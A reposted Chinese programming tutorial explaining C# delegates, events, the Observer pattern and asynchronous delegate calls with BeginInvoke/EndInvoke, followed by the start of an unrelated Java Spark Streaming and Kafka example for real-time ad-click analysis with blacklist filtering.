GreetingDelegate:System.MulticastDelegate { public GreetingDelegate(object @object, IntPtr method); public virtual IAsyncResult BeginInvoke(string name, AsyncCallback callback, object @object); public virtual void EndInvoke(IAsyncResult result); public virtual void Invoke(string name); } // 1.4 .NET 框架中的委托和事件 1.4.1 范例说明 上面的例子已不足以再进行下面的讲解了,我们来看一个新的范例,因为之前已经介绍了很多的内容,所以本节的进度会稍微快一些! 假设我们有个高档的热水器,我们给它通上电,当水温超过95 度的时候:1、扬声器会开始发出语音,告诉你水的温度;2、液晶屏也会改变水温的显示,来提示水已经快烧开了。 现在我们需要写个程序来模拟这个烧水的过程,我们将定义一个类来代表热水器,我们管它叫:Heater,它有代表水温的字段,叫做 temperature;当然,还有必不可少的给水加热方法 BoilWater(),一个发出语音警报的方法 MakeAlert(),一个显示水温的方法,ShowMsg()。 namespace Delegate{/// <summary>/// 热水器/// </summary>public class Heater{/// <summary>/// 水温/// </summary>private int temperature;/// <summary>/// 烧水/// </summary>public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){MakeAlert(temperature);ShowMsg(temperature);} }}/// <summary>/// 发出语音警报/// </summary>/// <param name="param"></param>private void MakeAlert(int param){Console.WriteLine("Alarm:嘀嘀嘀,水已经 {0} 度了:", param);}/// <summary>/// 显示水温/// </summary>/// <param name="param"></param>private void ShowMsg(int param){Console.WriteLine("Display:水快开了,当前温度:{0}度。", param);} }class Program{static void Main(){Heater ht = new Heater();ht.BoilWater();} }} 1.4.2 Observer 设计模式简介 上面的例子显然能完成我们之前描述的工作,但是却并不够好。现在假设热水器由三部分组成:热水器、警报器、显示器,它们来自于不同厂商并进行了组装。那么,应该是热水器仅仅负责烧水,它不能发出警报也不能显示水温;在水烧开时由警报器发出警报、显示器显示提示和水温。 这时候,上面的例子就应该变成这个样子: /// <summary>/// 热水器/// </summary>public class Heater{private int temperature; private void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;} }}/// <summary>/// 警报器/// </summary>public class Alarm{private void MakeAlert(int param){Console.WriteLine("Alarm:嘀嘀嘀,水已经 {0} 度了:", param);} }/// <summary>/// 显示器/// </summary>public class Display{private void ShowMsg(int param){Console.WriteLine("Display:水已烧开,当前温度:{0}度。", param);} } 这里就出现了一个问题:如何在水烧开的时候通知报警器和显示器? 在继续进行之前,我们先了解一下Observer 设计模式,Observer 设计模式中主要包括如下两类对象: Subject:监视对象,它往往包含着其他对象所感兴趣的内容。在本范例中,热水器就是一个监视对象,它包含的其他对象所感兴趣的内容,就是 temprature 字段,当这个字段的值快到100 时,会不断把数据发给监视它的对象。 Observer:监视者,它监视Subject,当 Subject 中的某件事发生的时候,会告知Observer,而Observer 则会采取相应的行动。在本范例中,Observer 有警报器和显示器,它们采取的行动分别是发出警报和显示水温。 在本例中,事情发生的顺序应该是这样的: 1. 警报器和显示器告诉热水器,它对它的温度比较感兴趣(注册)。 2. 热水器知道后保留对警报器和显示器的引用。 3. 热水器进行烧水这一动作,当水温超过 95 度时,通过对警报器和显示器的引用,自动调用警报器的MakeAlert()方法、显示器的ShowMsg()方法。 类似这样的例子是很多的,GOF 对它进行了抽象,称为 Observer 设计模式:Observer 设计模式是为了定义对象间的一种一对多的依赖关系,以便于当一个对象的状态改变时,其他依赖于它的对象会被自动告知并更新。Observer 模式是一种松耦合的设计模式。 1.4.3 实现范例的Observer 设计模式 我们之前已经对委托和事件介绍很多了,现在写代码应该很容易了,现在在这里直接给出代码,并在注释中加以说明。 namespace Delegate{public class Heater{private int temperature;public delegate void BoilHandler(int param);public event BoilHandler BoilEvent;public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){if (BoilEvent != null){ BoilEvent(temperature); // 调用所有注册对象的方法} }} }}public class Alarm{public void MakeAlert(int param){Console.WriteLine("Alarm:嘀嘀嘀,水已经 {0} 度了:", param);} }public class Display{public static void ShowMsg(int param) // 静态方法{ Console.WriteLine("Display:水快烧开了,当前温度:{0}度。", param);} }class Program{static void Main(){Heater heater = new Heater();Alarm alarm = new Alarm();heater.BoilEvent += alarm.MakeAlert; // 注册方法heater.BoilEvent += (new Alarm()).MakeAlert; // 给匿名对象注册方法heater.BoilEvent += Display.ShowMsg; // 注册静态方法heater.BoilWater(); // 烧水,会自动调用注册过对象的方法} }} 输出为: // Alarm:嘀嘀嘀,水已经 96 度了: Alarm:嘀嘀嘀,水已经 96 度了: Display:水快烧开了,当前温度:96 度。 // 省略... // 1.4.4 .NET 框架中的委托与事件 尽管上面的范例很好地完成了我们想要完成的工作,但是我们不仅疑惑:为什么.NET Framework 中的事件模型和上面的不同?为什么有很多的EventArgs 参数? 在回答上面的问题之前,我们先搞懂 .NET Framework 的编码规范: 1. 委托类型的名称都应该以 EventHandler 结束。 2. 委托的原型定义:有一个void 返回值,并接受两个输入参数:一个Object 类型,一个EventArgs 类型(或继承自EventArgs)。 3. 事件的命名为委托去掉 EventHandler 之后剩余的部分。 4. 继承自 EventArgs 的类型应该以EventArgs 结尾。 再做一下说明: 1. 委托声明原型中的Object 类型的参数代表了Subject,也就是监视对象,在本例中是Heater(热水器)。回调函数(比如Alarm 的MakeAlert)可以通过它访问触发事件的对象(Heater)。 2. EventArgs 对象包含了Observer 所感兴趣的数据,在本例中是temperature。 上面这些其实不仅仅是为了编码规范而已,这样也使得程序有更大的灵活性。比如说,如果我们不光想获得热水器的温度,还想在Observer 端(警报器或者显示器)方法中获得它的生产日期、型号、价格,那么委托和方法的声明都会变得很麻烦,而如果我们将热水器的引用传给警报器的方法,就可以在方法中直接访问热水器了。 现在我们改写之前的范例,让它符合.NET Framework的规范: using System;using System.Collections.Generic;using System.Text;namespace Delegate{public class Heater{private int temperature;public string type = "RealFire 001"; // 添加型号作为演示public string area = "China Xian"; // 添加产地作为演示public delegate void BoiledEventHandler(Object sender, BoiledEventArgs e);public event BoiledEventHandler Boiled; // 声明事件// 定义 BoiledEventArgs 类,传递给 Observer 所感兴趣的信息public class BoiledEventArgs : EventArgs{public readonly int temperature;public BoiledEventArgs(int temperature){this.temperature = temperature;} }// 可以供继承自 Heater 的类重写,以便继承类拒绝其他对象对它的监视protected virtual void OnBoiled(BoiledEventArgs e){if (Boiled != null){Boiled(this, e); // 调用所有注册对象的方法} }public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){// 建立BoiledEventArgs 对象。BoiledEventArgs e = new BoiledEventArgs(temperature);OnBoiled(e); // 调用 OnBolied 方法} }}public class Alarm{public void MakeAlert(Object sender, Heater.BoiledEventArgs e){Heater heater = (Heater)sender; // 这里是不是很熟悉呢?// 访问 sender 中的公共字段Console.WriteLine("Alarm:{0} - {1}: ", heater.area, heater.type);Console.WriteLine("Alarm: 嘀嘀嘀,水已经 {0} 度了:", e.temperature);Console.WriteLine();} }public class Display{public static void ShowMsg(Object sender, Heater.BoiledEventArgs e) // 静态方法{Heater heater = (Heater)sender;Console.WriteLine("Display:{0} - {1}: ", heater.area, heater.type);Console.WriteLine("Display:水快烧开了,当前温度:{0}度。", e.temperature);Console.WriteLine();} }class Program{static void Main(){Heater heater = new Heater();Alarm alarm = new Alarm();heater.Boiled += alarm.MakeAlert; //注册方法heater.Boiled += (new Alarm()).MakeAlert; //给匿名对象注册方法heater.Boiled += new Heater.BoiledEventHandler(alarm.MakeAlert); //也可以这么注册heater.Boiled += Display.ShowMsg; //注册静态方法heater.BoilWater(); //烧水,会自动调用注册过对象的方法} }} } 输出为: Alarm:China Xian - RealFire 001: Alarm: 嘀嘀嘀,水已经 96 度了: Alarm:China Xian - RealFire 001: Alarm: 嘀嘀嘀,水已经 96 度了: Alarm:China Xian - RealFire 001: Alarm: 嘀嘀嘀,水已经 96 度了: Display:China Xian - RealFire 001: Display:水快烧开了,当前温度:96 度。 // 省略 ... 1.5 委托进阶 1.5.1 为什么委托定义的返回值通常都为 void ? 尽管并非必需,但是我们发现很多的委托定义返回值都为 void,为什么呢?这是因为委托变量可以供多个订阅者注册,如果定义了返回值,那么多个订阅者的方法都会向发布者返回数值,结果就是后面一个返回的方法值将前面的返回值覆盖掉了,因此,实际上只能获得最后一个方法调用的返回值。可以运行下面的代码测试一下。除此以外,发布者和订阅者是松耦合的,发布者根本不关心谁订阅了它的事件、为什么要订阅,更别说订阅者的返回值了,所以返回订阅者的方法返回值大多数情况下根本没有必要。 1.5.2 如何让事件只允许一个客户订阅? 少数情况下,比如像上面,为了避免发生“值覆盖”的情况(更多是在异步调用方法时,后面会讨论),我们可能想限制只允许一个客户端注册。此时怎么做呢?我们可以向下面这样,将事件声明为private 的,然后提供两个方法来进行注册和取消注册: public class Publishser{private event GeneralEventHandler NumberChanged; // 声明一个私有事件// 注册事件public void Register(GeneralEventHandler method){NumberChanged = method;}// 取消注册public void UnRegister(GeneralEventHandler method){NumberChanged -= method;}public void DoSomething(){// 做某些其余的事情if (NumberChanged != null){ // 触发事件string rtn = NumberChanged();Console.WriteLine("Return: {0}", rtn); // 打印返回的字符串,输出为Subscriber3} }} 注意上面,在UnRegister()中,没有进行任何判断就使用了NumberChanged -= method 语句。这是因为即使method 方法没有进行过注册,此行语句也不会有任何问题,不会抛出异常,仅仅是不会产生任何效果而已。 注意在Register()方法中,我们使用了赋值操作符“=”,而非“+=”,通过这种方式就避免了多个方法注册。 1.7 委托和方法的异步调用 通常情况下,如果需要异步执行一个耗时的操作,我们会新起一个线程,然后让这个线程去执行代码。但是对于每一个异步调用都通过创建线程来进行操作显然会对性能产生一定的影响,同时操作也相对繁琐一些。.NET 中可以通过委托进行方法的异步调用,就是说客户端在异步调用方法时,本身并不会因为方法的调用而中断,而是从线程池中抓取一个线程去执行该方法,自身线程(主线程)在完成抓取线程这一过程之后,继续执行下面的代码,这样就实现了代码的并行执行。使用线程池的好处就是避免了频繁进行异步调用时创建、销毁线程的开销。当我们在委托对象上调用BeginInvoke()时,便进行了一个异步的方法调用。 事件发布者和订阅者之间往往是松耦合的,发布者通常不需要获得订阅者方法执行的情况;而当使用异步调用时,更多情况下是为了提升系统的性能,而并非专用于事件的发布和订阅这一编程模型。而在这种情况下使用异步编程时,就需要进行更多的控制,比如当异步执行方法的方法结束时通知客户端、返回异步执行方法的返回值等。本节就对 BeginInvoke() 方法、EndInvoke() 方法和其相关的 IAysncResult 做一个简单的介绍。 我们先看这样一段代码,它演示了不使用异步调用的通常情况: class Program7{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();int result = cal.Add(2, 5);Console.WriteLine("Result: {0}\n", result);// 做某些其它的事情,模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("\nPress any key to exit...");Console.ReadLine();} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情,模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 上面代码有几个关于对于线程的操作,如果不了解可以看一下下面的说明,如果你已经了解可以直接跳过: 1. Thread.Sleep(),它会让执行当前代码的线程暂停一段时间(如果你对线程的概念比较陌生,可以理解为使程序的执行暂停一段时间),以毫秒为单位,比如Thread.Sleep(1000),将会使线程暂停1 秒钟。在上面我使用了它的重载方法,个人觉得使用TimeSpan.FromSeconds(1),可读性更好一些。 2. Thread.CurrentThread.Name,通过这个属性可以设置、获取执行当前代码的线程的名称,值得注意的是这个属性只可以设置一次,如果设置两次,会抛出异常。 3. Thread.IsThreadPoolThread,可以判断执行当前代码的线程是否为线程池中的线程。 通过这几个方法和属性,有助于我们更好地调试异步调用方法。上面代码中除了加入了一些对线程的操作以外再没有什么特别之处。我们建了一个Calculator 类,它只有一个Add 方法,我们模拟了这个方法需要执行2 秒钟时间,并且每隔一秒进行一次输出。而在客户端程序中,我们使用result 变量保存了方法的返回值并进行了打印。随后,我们再次模拟了客户端程序接下来的操作需要执行2 秒钟时间。运行这段程序,会产生下面的输出: // Client application started! Method invoked! Main Thread: Add executed 1 second(s). Main Thread: Add executed 2 second(s). Method complete! Result: 7 Main Thread: Client executed 1 second(s). Main Thread: Client executed 2 second(s). Main Thread: Client executed 3 second(s). Press any key to exit... // 如果你确实执行了这段代码,会看到这些输出并不是一瞬间输出的,而是执行了大概5 秒钟的时间,因为线程是串行执行的,所以在执行完 Add() 方法之后才会继续客户端剩下的代码。 接下来我们定义一个AddDelegate 委托,并使用BeginInvoke()方法来异步地调用它。在上面已经介绍过,BeginInvoke()除了最后两个参数为AsyncCallback 类型和Object 类型以外,前面的参数类型和个数与委托定义相同。另外BeginInvoke()方法返回了一个实现了IAsyncResult 接口的对象(实际上就是一个AsyncResult 类型实例,注意这里IAsyncResult 和AysncResult 是不同的,它们均包含在.NET Framework 中)。 AsyncResult 的用途有这么几个:传递参数,它包含了对调用了BeginInvoke()的委托的引用;它还包含了BeginInvoke()的最后一个Object 类型的参数;它可以鉴别出是哪个方法的哪一次调用,因为通过同一个委托变量可以对同一个方法调用多次。 EndInvoke()方法接受IAsyncResult 类型的对象(以及ref 和out 类型参数,这里不讨论了,对它们的处理和返回值类似),所以在调用BeginInvoke()之后,我们需要保留IAsyncResult,以便在调用EndInvoke()时进行传递。这里最重要的就是EndInvoke()方法的返回值,它就是方法的返回值。除此以外,当客户端调用EndInvoke()时,如果异步调用的方法没有执行完毕,则会中断当前线程而去等待该方法,只有当异步方法执行完毕后才会继续执行后面的代码。所以在调用完BeginInvoke()后立即执行EndInvoke()是没有任何意义的。我们通常在尽可能早的时候调用BeginInvoke(),然后在需要方法的返回值的时候再去调用EndInvoke(),或者是根据情况在晚些时候调用。说了这么多,我们现在看一下使用异步调用改写后上面的代码吧: using System.Threading;using System;public delegate int AddDelegate(int x, int y);class Program8{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();AddDelegate del = new AddDelegate(cal.Add);IAsyncResult asyncResult = del.BeginInvoke(2, 5, null, null); // 异步调用方法// 做某些其它的事情,模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}int rtn = del.EndInvoke(asyncResult);Console.WriteLine("Result: {0}\n", rtn);Console.WriteLine("\nPress any key to exit...");Console.ReadLine();} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情,模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 此时的输出为: // Client application started! Method invoked! Main Thread: Client executed 1 second(s). Pool Thread: Add executed 1 second(s). Main Thread: Client executed 2 second(s). Pool Thread: Add executed 2 second(s). Method complete! Main Thread: Client executed 3 second(s). Result: 7 Press any key to exit... // 现在执行完这段代码只需要3 秒钟时间,两个for 循环所产生的输出交替进行,这也说明了这两段代码并行执行的情况。可以看到Add() 方法是由线程池中的线程在执行, 因为Thread.CurrentThread.IsThreadPoolThread 返回了True,同时我们对该线程命名为了Pool Thread。另外我们可以看到通过EndInvoke()方法得到了返回值。有时候,我们可能会将获得返回值的操作放到另一段代码或者客户端去执行,而不是向上面那样直接写在BeginInvoke()的后面。比如说我们在Program 中新建一个方法GetReturn(),此时可以通过AsyncResult 的AsyncDelegate 获得del 委托对象,然后再在其上调用EndInvoke()方法,这也说明了AsyncResult 可以唯一的获取到与它相关的调用了的方法(或者也可以理解成委托对象)。所以上面获取返回值的代码也可以改写成这样: private static int GetReturn(IAsyncResult asyncResult){AsyncResult result = (AsyncResult)asyncResult;AddDelegate del = (AddDelegate)result.AsyncDelegate;int rtn = del.EndInvoke(asyncResult);return rtn;} 然后再将int rtn = del.EndInvoke(asyncResult);语句改为int rtn = GetReturn(asyncResult);。注意上面IAsyncResult 要转换为实际的类型AsyncResult 才能访问AsyncDelegate 属性,因为它没有包含在IAsyncResult 接口的定义中。 BeginInvoke 的另外两个参数分别是AsyncCallback 和Object 类型,其中AsyncCallback 是一个委托类型,它用于方法的回调,即是说当异步方法执行完毕时自动进行调用的方法。它的定义为: // public delegate void AsyncCallback(IAsyncResult ar); // Object 类型用于传递任何你想要的数值,它可以通过IAsyncResult 的AsyncState 属性获得。下面我们将获取方法返回值、打印返回值的操作放到了OnAddComplete()回调方法中: using System.Threading;using System;using System.Runtime.Remoting.Messaging;public delegate int AddDelegate(int x, int y);class Program9{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();AddDelegate del = new AddDelegate(cal.Add);string data = "Any data you want to pass.";AsyncCallback callBack = new AsyncCallback(OnAddComplete);del.BeginInvoke(2, 5, callBack, data); // 异步调用方法// 做某些其它的事情,模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("\nPress any key to exit...");Console.ReadLine();}static void OnAddComplete(IAsyncResult asyncResult){AsyncResult result = (AsyncResult)asyncResult;AddDelegate del = (AddDelegate)result.AsyncDelegate;string data = (string)asyncResult.AsyncState;int rtn = del.EndInvoke(asyncResult);Console.WriteLine("{0}: Result, {1}; Data: {2}\n", Thread.CurrentThread.Name, rtn, data);} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情,模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 它产生的输出为: Client application started! Method invoked! Main Thread: Client executed 1 second(s). Pool Thread: Add executed 1 second(s). Main Thread: Client executed 2 second(s). Pool Thread: Add executed 2 second(s). Method complete! Pool Thread: Result, 7; Data: Any data you want to pass. Main Thread: Client executed 3 second(s). Press any key to exit... 这里有几个值得注意的地方: 1、我们在调用BeginInvoke()后不再需要保存IAysncResult 了,因为AysncCallback 委托将该对象定义在了回调方法的参数列表中; 2、我们在OnAddComplete()方法中获得了调用BeginInvoke()时最后一个参数传递的值,字符串“Any data you want to pass”; 3、执行回调方法的线程并非客户端线程Main Thread,而是来自线程池中的线程Pool Thread。另外如前面所说,在调用EndInvoke()时有可能会抛出异常,所以在应该将它放到try/catch 块中,这里就不再示范了。 1.8 总结 我们详细地讨论了C中的委托和事件,包括什么是委托、为什么要使用委托、事件的由来、.NET Framework 中的委托和事件、委托中方法异常和超时的处理、委托与异步编程、委托和事件对Observer 设计模式的意义。拥有了本章的知识,相信你以后遇到委托和事件时,将不会再有所畏惧。 本篇文章为转载内容。原文链接:https://blog.csdn.net/beyonddeg/article/details/53528482。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-05 16:02:19
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...。那么数据就需要放进消息系统(Kafka)中,我们的Spark Streaming应用程序就会去Kafka中Pull数据过来进行计算和消费,并把计算后的数据放入到持久化系统中(MySQL) 广告点击系统实时分析的意义:因为可以在线实时的看见广告的投放效果,就为广告的更大规模的投入和调整打下了坚实的基础,从而为公司带来最大化的经济回报。 核心需求: 1、实时黑名单动态过滤出有效的用户广告点击行为:因为黑名单用户可能随时出现,所以需要动态更新; 2、在线计算广告点击流量; 3、Top3热门广告; 4、每个广告流量趋势; 5、广告点击用户的区域分布分析 6、最近一分钟的广告点击量; 7、整个广告点击Spark Streaming处理程序724小时运行; 数据格式: 时间、用户、广告、城市等 技术细节: 在线计算用户点击的次数分析,屏蔽IP等; 使用updateStateByKey或者mapWithState进行不同地区广告点击排名的计算; Spark Streaming+Spark SQL+Spark Core等综合分析数据; 使用Window类型的操作; 高可用和性能调优等等; 流量趋势,一般会结合DB等; Spark Core / /package com.tom.spark.SparkApps.sparkstreaming;import java.util.Date;import java.util.HashMap;import java.util.Map;import java.util.Properties;import java.util.Random;import kafka.javaapi.producer.Producer;import kafka.producer.KeyedMessage;import kafka.producer.ProducerConfig;/ 数据生成代码,Kafka Producer产生数据/public class MockAdClickedStat {/ @param args/public static void main(String[] args) {final Random random = new Random();final String[] provinces = new String[]{"Guangdong", "Zhejiang", "Jiangsu", "Fujian"};final Map<String, String[]> cities = new HashMap<String, String[]>();cities.put("Guangdong", new String[]{"Guangzhou", "Shenzhen", "Dongguan"});cities.put("Zhejiang", new String[]{"Hangzhou", "Wenzhou", "Ningbo"});cities.put("Jiangsu", new String[]{"Nanjing", "Suzhou", "Wuxi"});cities.put("Fujian", new String[]{"Fuzhou", "Xiamen", "Sanming"});final String[] ips = new String[] {"192.168.112.240","192.168.112.239","192.168.112.245","192.168.112.246","192.168.112.247","192.168.112.248","192.168.112.249","192.168.112.250","192.168.112.251","192.168.112.252","192.168.112.253","192.168.112.254",};/ Kafka相关的基本配置信息/Properties kafkaConf = new Properties();kafkaConf.put("serializer.class", "kafka.serializer.StringEncoder");kafkaConf.put("metadeta.broker.list", "Master:9092,Worker1:9092,Worker2:9092");ProducerConfig producerConfig = new ProducerConfig(kafkaConf);final Producer<Integer, String> producer = new Producer<Integer, String>(producerConfig);new Thread(new Runnable() {public void run() {while(true) {//在线处理广告点击流的基本数据格式:timestamp、ip、userID、adID、province、cityLong timestamp = new Date().getTime();String ip = ips[random.nextInt(12)]; //可以采用网络上免费提供的ip库int userID = random.nextInt(10000);int adID = random.nextInt(100);String province = provinces[random.nextInt(4)];String city = cities.get(province)[random.nextInt(3)];String clickedAd = timestamp + "\t" + ip + "\t" + userID + "\t" + adID + "\t" + province + "\t" + city;producer.send(new KeyedMessage<Integer, String>("AdClicked", clickedAd));try {Thread.sleep(50);} catch (InterruptedException e) {// TODO Auto-generated catch blocke.printStackTrace();} }} }).start();} } package com.tom.spark.SparkApps.sparkstreaming;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.ArrayList;import java.util.Arrays;import java.util.HashMap;import java.util.HashSet;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Set;import java.util.concurrent.LinkedBlockingQueue;import kafka.serializer.StringDecoder;import org.apache.spark.SparkConf;import org.apache.spark.api.java.JavaPairRDD;import org.apache.spark.api.java.JavaRDD;import org.apache.spark.api.java.JavaSparkContext;import org.apache.spark.api.java.function.Function;import org.apache.spark.api.java.function.Function2;import org.apache.spark.api.java.function.PairFunction;import org.apache.spark.api.java.function.VoidFunction;import org.apache.spark.sql.DataFrame;import org.apache.spark.sql.Row;import org.apache.spark.sql.RowFactory;import org.apache.spark.sql.hive.HiveContext;import org.apache.spark.sql.types.DataTypes;import org.apache.spark.sql.types.StructType;import org.apache.spark.streaming.Durations;import org.apache.spark.streaming.api.java.JavaDStream;import org.apache.spark.streaming.api.java.JavaPairDStream;import org.apache.spark.streaming.api.java.JavaPairInputDStream;import org.apache.spark.streaming.api.java.JavaStreamingContext;import org.apache.spark.streaming.api.java.JavaStreamingContextFactory;import org.apache.spark.streaming.kafka.KafkaUtils;import com.google.common.base.Optional;import scala.Tuple2;/ 数据处理,Kafka消费者/public class AdClickedStreamingStats {/ @param args/public static void main(String[] args) {// TODO Auto-generated method stub//好处:1、checkpoint 2、工厂final SparkConf conf = new SparkConf().setAppName("SparkStreamingOnKafkaDirect").setMaster("hdfs://Master:7077/");final String checkpointDirectory = "hdfs://Master:9000/library/SparkStreaming/CheckPoint_Data";JavaStreamingContextFactory factory = new JavaStreamingContextFactory() {public JavaStreamingContext create() {// TODO Auto-generated method stubreturn createContext(checkpointDirectory, conf);} };/ 可以从失败中恢复Driver,不过还需要指定Driver这个进程运行在Cluster,并且在提交应用程序的时候制定--supervise;/JavaStreamingContext javassc = JavaStreamingContext.getOrCreate(checkpointDirectory, factory);/ 第三步:创建Spark Streaming输入数据来源input Stream: 1、数据输入来源可以基于File、HDFS、Flume、Kafka、Socket等 2、在这里我们指定数据来源于网络Socket端口,Spark Streaming连接上该端口并在运行的时候一直监听该端口的数据 (当然该端口服务首先必须存在),并且在后续会根据业务需要不断有数据产生(当然对于Spark Streaming 应用程序的运行而言,有无数据其处理流程都是一样的) 3、如果经常在每间隔5秒钟没有数据的话不断启动空的Job其实会造成调度资源的浪费,因为并没有数据需要发生计算;所以 实际的企业级生成环境的代码在具体提交Job前会判断是否有数据,如果没有的话就不再提交Job;///创建Kafka元数据来让Spark Streaming这个Kafka Consumer利用Map<String, String> kafkaParameters = new HashMap<String, String>();kafkaParameters.put("metadata.broker.list", "Master:9092,Worker1:9092,Worker2:9092");Set<String> topics = new HashSet<String>();topics.add("SparkStreamingDirected");JavaPairInputDStream<String, String> adClickedStreaming = KafkaUtils.createDirectStream(javassc, String.class, String.class, StringDecoder.class, StringDecoder.class,kafkaParameters, topics);/因为要对黑名单进行过滤,而数据是在RDD中的,所以必然使用transform这个函数; 但是在这里我们必须使用transformToPair,原因是读取进来的Kafka的数据是Pair<String,String>类型, 另一个原因是过滤后的数据要进行进一步处理,所以必须是读进的Kafka数据的原始类型 在此再次说明,每个Batch Duration中实际上讲输入的数据就是被一个且仅被一个RDD封装的,你可以有多个 InputDStream,但其实在产生job的时候,这些不同的InputDStream在Batch Duration中就相当于Spark基于HDFS 数据操作的不同文件来源而已罢了。/JavaPairDStream<String, String> filteredadClickedStreaming = adClickedStreaming.transformToPair(new Function<JavaPairRDD<String,String>, JavaPairRDD<String,String>>() {public JavaPairRDD<String, String> call(JavaPairRDD<String, String> rdd) throws Exception {/ 在线黑名单过滤思路步骤: 1、从数据库中获取黑名单转换成RDD,即新的RDD实例封装黑名单数据; 2、然后把代表黑名单的RDD的实例和Batch Duration产生的RDD进行Join操作, 准确的说是进行leftOuterJoin操作,也就是说使用Batch Duration产生的RDD和代表黑名单的RDD实例进行 leftOuterJoin操作,如果两者都有内容的话,就会是true,否则的话就是false 我们要留下的是leftOuterJoin结果为false; /final List<String> blackListNames = new ArrayList<String>();JDBCWrapper jdbcWrapper = JDBCWrapper.getJDBCInstance();jdbcWrapper.doQuery("SELECT FROM blacklisttable", null, new ExecuteCallBack() {public void resultCallBack(ResultSet result) throws Exception {while(result.next()){blackListNames.add(result.getString(1));} }});List<Tuple2<String, Boolean>> blackListTuple = new ArrayList<Tuple2<String,Boolean>>();for(String name : blackListNames) {blackListTuple.add(new Tuple2<String, Boolean>(name, true));}List<Tuple2<String, Boolean>> blacklistFromListDB = blackListTuple; //数据来自于查询的黑名单表并且映射成为<String, Boolean>JavaSparkContext jsc = new JavaSparkContext(rdd.context());/ 黑名单的表中只有userID,但是如果要进行join操作的话就必须是Key-Value,所以在这里我们需要 基于数据表中的数据产生Key-Value类型的数据集合/JavaPairRDD<String, Boolean> blackListRDD = jsc.parallelizePairs(blacklistFromListDB);/ 进行操作的时候肯定是基于userID进行join,所以必须把传入的rdd进行mapToPair操作转化成为符合格式的RDD/JavaPairRDD<String, Tuple2<String, String>> rdd2Pair = rdd.mapToPair(new PairFunction<Tuple2<String,String>, String, Tuple2<String, String>>() {public Tuple2<String, Tuple2<String, String>> call(Tuple2<String, String> t) throws Exception {// TODO Auto-generated method stubString userID = t._2.split("\t")[2];return new Tuple2<String, Tuple2<String,String>>(userID, t);} });JavaPairRDD<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> joined = rdd2Pair.leftOuterJoin(blackListRDD);JavaPairRDD<String, String> result = joined.filter(new Function<Tuple2<String,Tuple2<Tuple2<String,String>,Optional<Boolean>>>, Boolean>() {public Boolean call(Tuple2<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> tuple)throws Exception {// TODO Auto-generated method stubOptional<Boolean> optional = tuple._2._2;if(optional.isPresent() && optional.get()){return false;} else {return true;} }}).mapToPair(new PairFunction<Tuple2<String,Tuple2<Tuple2<String,String>,Optional<Boolean>>>, String, String>() {public Tuple2<String, String> call(Tuple2<String, Tuple2<Tuple2<String, String>, Optional<Boolean>>> t)throws Exception {// TODO Auto-generated method stubreturn t._2._1;} });return result;} });//广告点击的基本数据格式:timestamp、ip、userID、adID、province、cityJavaPairDStream<String, Long> pairs = filteredadClickedStreaming.mapToPair(new PairFunction<Tuple2<String,String>, String, Long>() {public Tuple2<String, Long> call(Tuple2<String, String> t) throws Exception {String[] splited=t._2.split("\t");String timestamp = splited[0]; //YYYY-MM-DDString ip = splited[1];String userID = splited[2];String adID = splited[3];String province = splited[4];String city = splited[5]; String clickedRecord = timestamp + "_" +ip + "_"+userID+"_"+adID+"_"+province +"_"+city;return new Tuple2<String, Long>(clickedRecord, 1L);} });/ 第4.3步:在单词实例计数为1基础上,统计每个单词在文件中出现的总次数/JavaPairDStream<String, Long> adClickedUsers= pairs.reduceByKey(new Function2<Long, Long, Long>() {public Long call(Long i1, Long i2) throws Exception{return i1 + i2;} });/判断有效的点击,复杂化的采用机器学习训练模型进行在线过滤 简单的根据ip判断1天不超过100次;也可以通过一个batch 